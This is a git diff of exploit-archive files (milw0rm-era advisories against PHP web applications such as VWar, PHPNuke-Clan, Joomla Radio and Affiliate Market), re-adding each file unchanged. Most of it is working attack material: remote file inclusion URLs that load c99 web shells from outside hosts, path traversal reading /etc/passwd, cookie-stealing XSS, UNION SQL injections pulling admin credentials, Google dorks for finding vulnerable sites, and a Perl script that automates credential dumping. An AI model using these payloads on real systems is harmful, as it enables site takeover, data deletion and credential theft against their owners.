+#    GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
+#
+#    PS: I still hate the Black-Music-Scene...
+####################################################################
+
+# milw0rm.com [2007-08-27]
diff --git a/platforms/php/webapps/4332.txt b/platforms/php/webapps/4332.txt
index dee35bca1..ce7bf5c49 100755
--- a/platforms/php/webapps/4332.txt
+++ b/platforms/php/webapps/4332.txt
@@ -1,41 +1,41 @@
-                            \#'#/
-                            (-.-)
-   --------------------oOO---(_)---OOo--------------------
-   | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
-   |                    coded by DNX                     |
-   -------------------------------------------------------
-[!] Discovered: DNX
-[!] Vendor: http://www.vwar.de
-[!] Detected: 26.02.2007
-[!] Reported: 27.02.2007
-[!] Remote: yes
-
-[!] Background: VWar is a team organizer based on PHP and MySQL
-
-[!] Bug: $vwar_root in convert/mvcw.php
-
-[!] PoC:
-    - http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
-    - http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]
-
-[!] Example:
-    - http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
-
-[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
-    vwar_scores and vwar_screen in the database
-
-[!] Solution: No update from vendor till now
-
-[!] Quick fix in convert/mvcw.php line 79:
-    - replace:
-	if ($GPC['step'] == 1)
-	{
-		// clean tables
-
-    - with:
-	if ($GPC['step'] == 1)
-	{
-		$vwar_root = "./../";
-		// clean tables
-
-# milw0rm.com [2007-08-28]
+                            \#'#/
+                            (-.-)
+   --------------------oOO---(_)---OOo--------------------
+   | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
+   |                    coded by DNX                     |
+   -------------------------------------------------------
+[!] Discovered: DNX
+[!] Vendor: http://www.vwar.de
+[!] Detected: 26.02.2007
+[!] Reported: 27.02.2007
+[!] Remote: yes
+
+[!] Background: VWar is a team organizer based on PHP and MySQL
+
+[!] Bug: $vwar_root in convert/mvcw.php
+
+[!] PoC:
+    - http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
+    - http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]
+
+[!] Example:
+    - http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
+
+[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
+    vwar_scores and vwar_screen in the database
+
+[!] Solution: No update from vendor till now
+
+[!] Quick fix in convert/mvcw.php line 79:
+    - replace:
+	if ($GPC['step'] == 1)
+	{
+		// clean tables
+
+    - with:
+	if ($GPC['step'] == 1)
+	{
+		$vwar_root = "./../";
+		// clean tables
+
+# milw0rm.com [2007-08-28]
diff --git a/platforms/php/webapps/4333.txt b/platforms/php/webapps/4333.txt
index b74e6b52e..9421d4518 100755
--- a/platforms/php/webapps/4333.txt
+++ b/platforms/php/webapps/4333.txt
@@ -1,40 +1,40 @@
-                                  \#'#/
-                                  (-.-)
-   --------------------------oOO---(_)---OOo-------------------------
-   | PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
-   |                          coded by DNX                          |
-   ------------------------------------------------------------------
-[!] Discovered: DNX
-[!] Vendor: http://www.phpnuke-clan.net
-[!] Detected: 11.08.2007
-[!] Reported: 11.08.2007
-[!] Remote: yes
-
-[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL
-
-[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php
-
-[!] PoC:
-    - http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]
-
-[!] Example:
-    - http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
-
-[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
-    vwar_scores and vwar_screen in the database
-
-[!] Solution: No update from vendor till now
-
-[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
-    - replace:
-	if ($GPC['step'] == 1)
-	{
-		// clean tables
-
-    - with:
-	if ($GPC['step'] == 1)
-	{
-		$vwar_root = "./../";
-		// clean tables
-
-# milw0rm.com [2007-08-28]
+                                  \#'#/
+                                  (-.-)
+   --------------------------oOO---(_)---OOo-------------------------
+   | PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
+   |                          coded by DNX                          |
+   ------------------------------------------------------------------
+[!] Discovered: DNX
+[!] Vendor: http://www.phpnuke-clan.net
+[!] Detected: 11.08.2007
+[!] Reported: 11.08.2007
+[!] Remote: yes
+
+[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL
+
+[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php
+
+[!] PoC:
+    - http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]
+
+[!] Example:
+    - http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
+
+[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
+    vwar_scores and vwar_screen in the database
+
+[!] Solution: No update from vendor till now
+
+[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
+    - replace:
+	if ($GPC['step'] == 1)
+	{
+		// clean tables
+
+    - with:
+	if ($GPC['step'] == 1)
+	{
+		$vwar_root = "./../";
+		// clean tables
+
+# milw0rm.com [2007-08-28]
diff --git a/platforms/php/webapps/4401.txt b/platforms/php/webapps/4401.txt
index 8c502a016..9f8a2dd47 100755
--- a/platforms/php/webapps/4401.txt
+++ b/platforms/php/webapps/4401.txt
@@ -1,20 +1,20 @@
-###########################
-# Joomla Radio v5 Component RFI           #
-###########################
-
-Bug in :
-administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php
-Variable : $mosConfig_live_site
-
-Download : http://www.joomlaos.de/option,com_remository/Itemid,41/func,fileinfo/id,2661.html
-
-Dork: inurl:"com_joomlaradiov5"
-
-Example:
-
-www.site.com/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt?
-
-
-Greets to all Irc.RealWorm.Net #Morgan Users ;)
-
-# milw0rm.com [2007-09-13]
+###########################
+# Joomla Radio v5 Component RFI           #
+###########################
+
+Bug in :
+administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php
+Variable : $mosConfig_live_site
+
+Download : http://www.joomlaos.de/option,com_remository/Itemid,41/func,fileinfo/id,2661.html
+
+Dork: inurl:"com_joomlaradiov5"
+
+Example:
+
+www.site.com/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt?
+
+
+Greets to all Irc.RealWorm.Net #Morgan Users ;)
+
+# milw0rm.com [2007-09-13]
diff --git a/platforms/php/webapps/4485.txt b/platforms/php/webapps/4485.txt
index 108fccfc4..870746741 100755
--- a/platforms/php/webapps/4485.txt
+++ b/platforms/php/webapps/4485.txt
@@ -1,7 +1,7 @@
-# Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities
-# D.S : http://sourceforge.net/project/showfiles.php?group_id=177347
-# POC :
-# /[PHAT]/interface/editors/-custom.php?bField[bf_data]=http://localhost/shell.txt
-# /[PHAT]/interface/editors/custom.php?bField[bf_data]=http://localhost/shell.txt
-
-# milw0rm.com [2007-10-05]
+# Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities
+# D.S : http://sourceforge.net/project/showfiles.php?group_id=177347
+# POC :
+# /[PHAT]/interface/editors/-custom.php?bField[bf_data]=http://localhost/shell.txt
+# /[PHAT]/interface/editors/custom.php?bField[bf_data]=http://localhost/shell.txt
+
+# milw0rm.com [2007-10-05]
diff --git a/platforms/php/webapps/4492.txt b/platforms/php/webapps/4492.txt
index 323857034..f1f9ad970 100755
--- a/platforms/php/webapps/4492.txt
+++ b/platforms/php/webapps/4492.txt
@@ -1,26 +1,26 @@
-Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vulnerabilities
-
-Found By : Mogatil , http://www.hackteach.org/cc/ 
-Posted By : Cold z3ro , http://www.hackteach.org/cc/
-
-
-Exploit :
-
-/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?
-
-
-Example :
-http://www.xxx.de/Picssolution/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?
-
-
-==================================================
-==================================================
-Note To All Frindes And Milw0rm users :
-
-http://www.hackteach.org/cc/ Is Back , Join Us !
-Use Our English Forum From This link 
-http://today4host.net/scripts/short/?id=682
-==================================================
-==================================================
-
-# milw0rm.com [2007-10-06]
+Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vulnerabilities
+
+Found By : Mogatil , http://www.hackteach.org/cc/ 
+Posted By : Cold z3ro , http://www.hackteach.org/cc/
+
+
+Exploit :
+
+/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?
+
+
+Example :
+http://www.xxx.de/Picssolution/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?
+
+
+==================================================
+==================================================
+Note To All Frindes And Milw0rm users :
+
+http://www.hackteach.org/cc/ Is Back , Join Us !
+Use Our English Forum From This link 
+http://today4host.net/scripts/short/?id=682
+==================================================
+==================================================
+
+# milw0rm.com [2007-10-06]
diff --git a/platforms/php/webapps/4591.txt b/platforms/php/webapps/4591.txt
index 2149f8262..d0fd4752f 100755
--- a/platforms/php/webapps/4591.txt
+++ b/platforms/php/webapps/4591.txt
@@ -1,5 +1,5 @@
-ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
-http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
-/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00
-
-# milw0rm.com [2007-10-31]
+ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
+http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
+/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00
+
+# milw0rm.com [2007-10-31]
diff --git a/platforms/php/webapps/4696.txt b/platforms/php/webapps/4696.txt
index 6896604a9..e2c2c1b4b 100755
--- a/platforms/php/webapps/4696.txt
+++ b/platforms/php/webapps/4696.txt
@@ -1,10 +1,10 @@
-SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities
-D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/serweb-2.0.0-dev1_2007-02-20.tar.gz
-POC:
-    /load_lang.php?_SERWEB[configdir]=Shell
-    /main_prepend.php?_SERWEB[functionsdir]=Shell
-    /load_phplib.php?_PHPLIB[libdir]=Shell
-    /js/get_js.php?mod=../../../../../../../etc/passwd%00
-    /js/get_js.php?js=../../../../../../../etc/passwd%00
-
-# milw0rm.com [2007-12-06]
+SerWeb <= 2.0.0 dev1 2007-02-20 Multiple RFI / LFI Vulnerabilities
+D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/serweb-2.0.0-dev1_2007-02-20.tar.gz
+POC:
+    /load_lang.php?_SERWEB[configdir]=Shell
+    /main_prepend.php?_SERWEB[functionsdir]=Shell
+    /load_phplib.php?_PHPLIB[libdir]=Shell
+    /js/get_js.php?mod=../../../../../../../etc/passwd%00
+    /js/get_js.php?js=../../../../../../../etc/passwd%00
+
+# milw0rm.com [2007-12-06]
diff --git a/platforms/php/webapps/4755.txt b/platforms/php/webapps/4755.txt
index 068086954..920f06a3f 100755
--- a/platforms/php/webapps/4755.txt
+++ b/platforms/php/webapps/4755.txt
@@ -1,29 +1,29 @@
-# Name : PhpMyDesktop|arcade 1.0 Final (phpdns_basedir) Remote File Include
-# Download From : http://mesh.dl.sourceforge.net/sourceforge/pmd-arcade/pmd_arcade_1_0_final.zip
-# Found By : RoMaNcYxHaCkEr
-# Home Page : Not Yet :(
-# Google Dork : Powered by phpMyDesktop|arcade v1.0 (final)
-============================================================================
-# Vulne Code In File RR.php In Line 1 & 2 :
- 
-require_once("$phpdns_basedir/DNS/RR/A.php");
-require_once("$phpdns_basedir/DNS/RR/AAAA.php");
-# Exploit:
-www.RxH.com/pmd_arcade_1_0_final/sources/libs/geoip/DNS/RR.php?phpdns_basedir=http://no-hack.fr/shells/c99.txt?
-
-============================================================================
-# Greet To :
-Cold Z3ro My Master (Hackteach.org)
-Hack15 TeaM (V99x.com)
-Sniper-Sa (Sniper-sa.com)
-Tryag TeaM (Tryag.com)
-Yee7 TeaM (Yee7.com)
-H-T TeaM (no-hack.fr)
-Str0ck
-My5ql Team
-Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
-# For Contact : RxH@HotMail.iT
-Happy Aid All Muslims
-Best Wishes
-
-# milw0rm.com [2007-12-18]
+# Name : PhpMyDesktop|arcade 1.0 Final (phpdns_basedir) Remote File Include
+# Download From : http://mesh.dl.sourceforge.net/sourceforge/pmd-arcade/pmd_arcade_1_0_final.zip
+# Found By : RoMaNcYxHaCkEr
+# Home Page : Not Yet :(
+# Google Dork : Powered by phpMyDesktop|arcade v1.0 (final)
+============================================================================
+# Vulne Code In File RR.php In Line 1 & 2 :
+ 
+require_once("$phpdns_basedir/DNS/RR/A.php");
+require_once("$phpdns_basedir/DNS/RR/AAAA.php");
+# Exploit:
+www.RxH.com/pmd_arcade_1_0_final/sources/libs/geoip/DNS/RR.php?phpdns_basedir=http://no-hack.fr/shells/c99.txt?
+
+============================================================================
+# Greet To :
+Cold Z3ro My Master (Hackteach.org)
+Hack15 TeaM (V99x.com)
+Sniper-Sa (Sniper-sa.com)
+Tryag TeaM (Tryag.com)
+Yee7 TeaM (Yee7.com)
+H-T TeaM (no-hack.fr)
+Str0ck
+My5ql Team
+Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye And All My Friends
+# For Contact : RxH@HotMail.iT
+Happy Aid All Muslims
+Best Wishes
+
+# milw0rm.com [2007-12-18]
diff --git a/platforms/php/webapps/4796.txt b/platforms/php/webapps/4796.txt
index c0a308cc7..c85fbd5ff 100755
--- a/platforms/php/webapps/4796.txt
+++ b/platforms/php/webapps/4796.txt
@@ -1,31 +1,31 @@
-.-----------------------------------------------------------------------------.
-|  vuln.: PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.   |
-|  download: http://www.pnphpbb.com/                                          |
-|  dorks: Powered by PNphpBB2 / Powered por PNphpBB2                          |
-|         inurl:"index.php?name=PNphpBB2"                                     |
-|                                                                             |
-|  author: irk4z@yahoo.pl                                                     |
-|  homepage: http://irk4z.wordpress.com/                                      |
-|                                                                             |
-|  greets to: str0ke, wacky, polish under ;]                                  |
-'-----------------------------------------------------------------------------'
-
-# code:
-
-  /printview.php:
-  ...
-      define('IN_PHPBB', true);
-      $ModName = basename( dirname( __FILE__ ) );
-      $phpbb_root_path = './modules/' . $ModName . '/';
-      include($phpbb_root_path . 'extension.inc');
-      include($phpbb_root_path . 'common.'.$phpEx);
-  ...
-  
-  LFI in $phpEx :D:D:D
-  
-# sploit:
-
-http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
-http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]
-
-# milw0rm.com [2007-12-26]
+.-----------------------------------------------------------------------------.
+|  vuln.: PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.   |
+|  download: http://www.pnphpbb.com/                                          |
+|  dorks: Powered by PNphpBB2 / Powered por PNphpBB2                          |
+|         inurl:"index.php?name=PNphpBB2"                                     |
+|                                                                             |
+|  author: irk4z@yahoo.pl                                                     |
+|  homepage: http://irk4z.wordpress.com/                                      |
+|                                                                             |
+|  greets to: str0ke, wacky, polish under ;]                                  |
+'-----------------------------------------------------------------------------'
+
+# code:
+
+  /printview.php:
+  ...
+      define('IN_PHPBB', true);
+      $ModName = basename( dirname( __FILE__ ) );
+      $phpbb_root_path = './modules/' . $ModName . '/';
+      include($phpbb_root_path . 'extension.inc');
+      include($phpbb_root_path . 'common.'.$phpEx);
+  ...
+  
+  LFI in $phpEx :D:D:D
+  
+# sploit:
+
+http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
+http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]
+
+# milw0rm.com [2007-12-26]
diff --git a/platforms/php/webapps/4914.txt b/platforms/php/webapps/4914.txt
index 9d0ebb1a8..3eccbf3ee 100755
--- a/platforms/php/webapps/4914.txt
+++ b/platforms/php/webapps/4914.txt
@@ -1,24 +1,24 @@
-#####################################################################################
-####               FaScript FaMp3 v1 Remote Sql Injection                        ####
-####                              BY IRCRASH                                     ####
-#####################################################################################
-#                                                                                   #
-#AUTHOR : IRCRASH (Dr.Crash)                                                        #
-#                                                                                   #
-#Script Download : http://www.fascript.com/persian.rar                              #
-#                                                                                   #
-#Injection Adress :  http://127.0.0.1/famp3/show.php?id=<SqL Code>                  #
-#                                                                                   #
-#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
-#       You can open this file with load_file Function in mysql and see admin       #
-#       Username and password in Page Source                                        #
-#                                                                                   #
-# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
-#                                                                                   #
-#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,load_file(0x2e2f61646d696e2f70636f6e6669672e706870)/**/from/**/mysql.user/*
-#                                                                                   #
-#                        Our site : HTTP://IRCRASH.COM                              #
-#                                                                                   #
-#####################################################################################
-
-# milw0rm.com [2008-01-15]
+#####################################################################################
+####               FaScript FaMp3 v1 Remote Sql Injection                        ####
+####                              BY IRCRASH                                     ####
+#####################################################################################
+#                                                                                   #
+#AUTHOR : IRCRASH (Dr.Crash)                                                        #
+#                                                                                   #
+#Script Download : http://www.fascript.com/persian.rar                              #
+#                                                                                   #
+#Injection Adress :  http://127.0.0.1/famp3/show.php?id=<SqL Code>                  #
+#                                                                                   #
+#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
+#       You can open this file with load_file Function in mysql and see admin       #
+#       Username and password in Page Source                                        #
+#                                                                                   #
+# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
+#                                                                                   #
+#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,load_file(0x2e2f61646d696e2f70636f6e6669672e706870)/**/from/**/mysql.user/*
+#                                                                                   #
+#                        Our site : HTTP://IRCRASH.COM                              #
+#                                                                                   #
+#####################################################################################
+
+# milw0rm.com [2008-01-15]
diff --git a/platforms/php/webapps/4915.txt b/platforms/php/webapps/4915.txt
index fd84bbdd8..5c95629ea 100755
--- a/platforms/php/webapps/4915.txt
+++ b/platforms/php/webapps/4915.txt
@@ -1,24 +1,24 @@
-#####################################################################################
-####                FaScript FaName v1 Remote Sql Injection                      ####
-####                              BY IRCRASH                                     ####
-#####################################################################################
-#                                                                                   #
-#AUTHOR : IRCRASH (Dr.Crash)                                                        #
-#                                                                                   #
-#Script Download : http://www.hotscripts.com/Detailed/66472.html                    #
-#                                                                                   #
-#Injection Adress :  http://Sitename/faname/page.php?id=<SqL Code>                  #
-#                                                                                   #
-#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
-#       You can open this file with load_file Function in mysql and see admin       #
-#       Username and password in Page Source                                        #
-#                                                                                   #
-# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
-#                                                                                   #
-#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3/**/from/**/mysql.user/*
-#                                                                                   #
-#                        Our site : HTTP://IRCRASH.COM                              #
-#                                                                                   #
-#####################################################################################
-
-# milw0rm.com [2008-01-15]
+#####################################################################################
+####                FaScript FaName v1 Remote Sql Injection                      ####
+####                              BY IRCRASH                                     ####
+#####################################################################################
+#                                                                                   #
+#AUTHOR : IRCRASH (Dr.Crash)                                                        #
+#                                                                                   #
+#Script Download : http://www.hotscripts.com/Detailed/66472.html                    #
+#                                                                                   #
+#Injection Adress :  http://Sitename/faname/page.php?id=<SqL Code>                  #
+#                                                                                   #
+#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
+#       You can open this file with load_file Function in mysql and see admin       #
+#       Username and password in Page Source                                        #
+#                                                                                   #
+# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
+#                                                                                   #
+#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3/**/from/**/mysql.user/*
+#                                                                                   #
+#                        Our site : HTTP://IRCRASH.COM                              #
+#                                                                                   #
+#####################################################################################
+
+# milw0rm.com [2008-01-15]
diff --git a/platforms/php/webapps/4917.txt b/platforms/php/webapps/4917.txt
index 03a54c984..865c9e225 100755
--- a/platforms/php/webapps/4917.txt
+++ b/platforms/php/webapps/4917.txt
@@ -1,24 +1,24 @@
-#####################################################################################
-####           FaScript FaPersianHack v1 Remote Sql Injection                    ####
-####                              BY IRCRASH                                     ####
-#####################################################################################
-#                                                                                   #
-#AUTHOR : IRCRASH (Dr.Crash)                                                        #
-#                                                                                   #
-#Script Download : http://fascript.com/fapersianhack.zip                            #
-#                                                                                   #
-#Injection Adress :  http://Sitename/ph/show.php?id=<SqL Code>                      #
-#                                                                                   #
-#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
-#       You can open this file with load_file Function in mysql and see admin       #
-#       Username and password in Page Source                                        #
-#                                                                                   #
-# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
-#                                                                                   #
-#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6/**/from/**/mysql.user/*
-#                                                                                   #
-#                        Our site : HTTP://IRCRASH.COM                              #
-#                                                                                   #
-#####################################################################################
-
-# milw0rm.com [2008-01-15]
+#####################################################################################
+####           FaScript FaPersianHack v1 Remote Sql Injection                    ####
+####                              BY IRCRASH                                     ####
+#####################################################################################
+#                                                                                   #
+#AUTHOR : IRCRASH (Dr.Crash)                                                        #
+#                                                                                   #
+#Script Download : http://fascript.com/fapersianhack.zip                            #
+#                                                                                   #
+#Injection Adress :  http://Sitename/ph/show.php?id=<SqL Code>                      #
+#                                                                                   #
+#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
+#       You can open this file with load_file Function in mysql and see admin       #
+#       Username and password in Page Source                                        #
+#                                                                                   #
+# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
+#                                                                                   #
+#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6/**/from/**/mysql.user/*
+#                                                                                   #
+#                        Our site : HTTP://IRCRASH.COM                              #
+#                                                                                   #
+#####################################################################################
+
+# milw0rm.com [2008-01-15]
diff --git a/platforms/php/webapps/5108.txt b/platforms/php/webapps/5108.txt
index fa4b8734b..7ad9ffc01 100755
--- a/platforms/php/webapps/5108.txt
+++ b/platforms/php/webapps/5108.txt
@@ -1,6 +1,6 @@
-Affiliate Market Ver.0.1 BETA (language) Local File Include Vulnerability
-http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
-/user/header.php?language=../../../../../../../../../../../etc/passwd
-I'm tryagi ..^|-
-
-# milw0rm.com [2008-02-13]
+Affiliate Market Ver.0.1 BETA (language) Local File Include Vulnerability
+http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
+/user/header.php?language=../../../../../../../../../../../etc/passwd
+I'm tryagi ..^|-
+
+# milw0rm.com [2008-02-13]
diff --git a/platforms/php/webapps/5114.pl b/platforms/php/webapps/5114.pl
index 93a70f5fb..653c04399 100755
--- a/platforms/php/webapps/5114.pl
+++ b/platforms/php/webapps/5114.pl
@@ -1,128 +1,128 @@
-#!/usr/bin/perl
-#####################################################################################
-####                     Affiliate Market Ver.0.1 BETA                           ####
-####          Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS)        ####
-#####################################################################################
-#                                                                                   #
-#AUTHOR : IRCRASH                                                                   #
-#Discovered by : Dr.Crash                                                           #
-#Exploited By : Dr.Crash                                                            #
-#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #
-#                                                                                   #
-#####################################################################################
-#                                                                                   #
-#Script Download : http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
-#                                                                                   #
-#####################################################################################
-#                                   < XSS >                                         #
-#XSS Address : http://Target/function/sideblock.php?sideblock4=<script>alert(document.cookie);</script>
-#                                                                                   #
-#####################################################################################
-#                                   < SQL >                                         #
-#SQL Address : http://Target/shop/detail.php?id=/-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*
-#                                                                                   #
-#####################################################################################
-#                         Our site : Http://IRCRASH.COM                             #
-#####################################################################################
-
-use LWP;
-use HTTP::Request;
-use Getopt::Long;
- 
- 
-sub header
-{
-print "
-****************************************************
-*Affiliate Market Ver.0.1BETA Sql Injection exploit*
-****************************************************
-*AUTHOR : IRCRASH                                  *
-*Discovered by : Dr.Crash                          *
-*Exploited by : Dr.Crash                           *
-*Our Site : IRCRASH.COM                            *
-****************************************************";
-}
- 
-sub usage
-{
-  print "
-* Usage : perl $0 -url http://Sitename/
-****************************************************
-";
-}                                                                                  
- 
- 
-my %parameter = ();
-GetOptions(\%parameter, "url=s");
- 
-$url = $parameter{"url"};
- 
-if(!$url)
-{
-header();
-usage();
-exit;
-}
-if($url !~ /\//){$url = $url."/";}
-if($url !~ /http:\/\//){$url = "http://".$url;}
-$vul = "/shop/detail.php?id=-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*";
-sub Exploit()
-{
-$requestpage = $url.$vul;
-print "Requesting Page is ".$url."\n";
- 
-my $req  = HTTP::Request->new("POST",$requestpage);
-$ua = LWP::UserAgent->new;
-$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
-$req->referer($url);
-$req->referer("http://IRCRASH.COM");
-$req->content_type('application/x-www-form-urlencoded');
-$req->header("content-length" => $contlen);
-$req->content($poststring);
- 
-$response = $ua->request($req);
-$content = $response->content;
-$header = $response->headers_as_string();
- 
-#Debug Modus delete # at beginning of next line
-#print $content;
- 
-@name = split(/Login:/,$content);
-$name = @name[1];
-@name = split(/<enduser>/,$name);
-$name = @name[0];
- 
-@password = split(/Password:/,$content);
-$password = @password[1];
-@password = split(/<endpass>/,$password);
-$password = @password[0];
-
-if(!$name && !$password)
-{
-print "\n\n";
-print "[-] Exploit failed ! :(\n\n";
-exit;
-}
-# Dr.Crash - IRCRASH - Expoit - Hack - Hacking - Hacker - Cracker - Crash - Iran
-print "Username: ".$name."\n";
-print "Password: " .$password."\n\n";
-print "[+] To Be Done SuccessFully\n\n";
-print "Crack Password And Login In : $url/admin/\n";
-print "Enjoy My friend .....\n";
- 
-}
- 
-#Starting;
-print "
-****************************************************
-*Affiliate Market Ver.0.1BETA Sql Injection exploit*
-****************************************************
-*AUTHOR : IRCRASH                                  *
-*Discovered by : Dr.Crash                          *
-*Exploited by : Dr.Crash                           *
-*Our Site : IRCRASH.COM                            *
-****************************************************";
-print "\n\nExploiting...\n";
-Exploit();
-
-# milw0rm.com [2008-02-14]
+#!/usr/bin/perl
+#####################################################################################
+####                     Affiliate Market Ver.0.1 BETA                           ####
+####          Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS)        ####
+#####################################################################################
+#                                                                                   #
+#AUTHOR : IRCRASH                                                                   #
+#Discovered by : Dr.Crash                                                           #
+#Exploited By : Dr.Crash                                                            #
+#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #
+#                                                                                   #
+#####################################################################################
+#                                                                                   #
+#Script Download : http://kent.dl.sourceforge.net/sourceforge/affmarket/affmarket.30.03.07.zip
+#                                                                                   #
+#####################################################################################
+#                                   < XSS >                                         #
+#XSS Address : http://Target/function/sideblock.php?sideblock4=<script>alert(document.cookie);</script>
+#                                                                                   #
+#####################################################################################
+#                                   < SQL >                                         #
+#SQL Address : http://Target/shop/detail.php?id=/-1%27union/**/select/**/0,1,2,3,CoNcAt(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,pass,0x3c656e64706173733e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,20/**/from/**/admin/*
+#                                                                                   #
+#####################################################################################
+#                         Our site : Http://IRCRASH.COM                             #
+#####################################################################################
+
+use LWP;
+use HTTP::Request;
+use Getopt::Long;
+ 
+ 
+sub header
+{
+print "
+****************************************************
+*Affiliate Market Ver.0.1BETA Sql Injection exploit*
+****************************************************
+*AUTHOR : IRCRASH                                  *
+*Discovered by : Dr.Crash                          *
+*Exploited by : Dr.Crash                           *
+*Our Site : IRCRASH.COM                            *
+****************************************************";
+}
+ 
+sub usage
+{
+  print "
+* Usage : perl $0 -url http://Sitename/
+****************************************************
+";
+}                                                                                  
+ 
+ 
+my %parameter = ();
+GetOptions(\%parameter, "url=s");
+ 
+$url = $parameter{"url"};
+ 
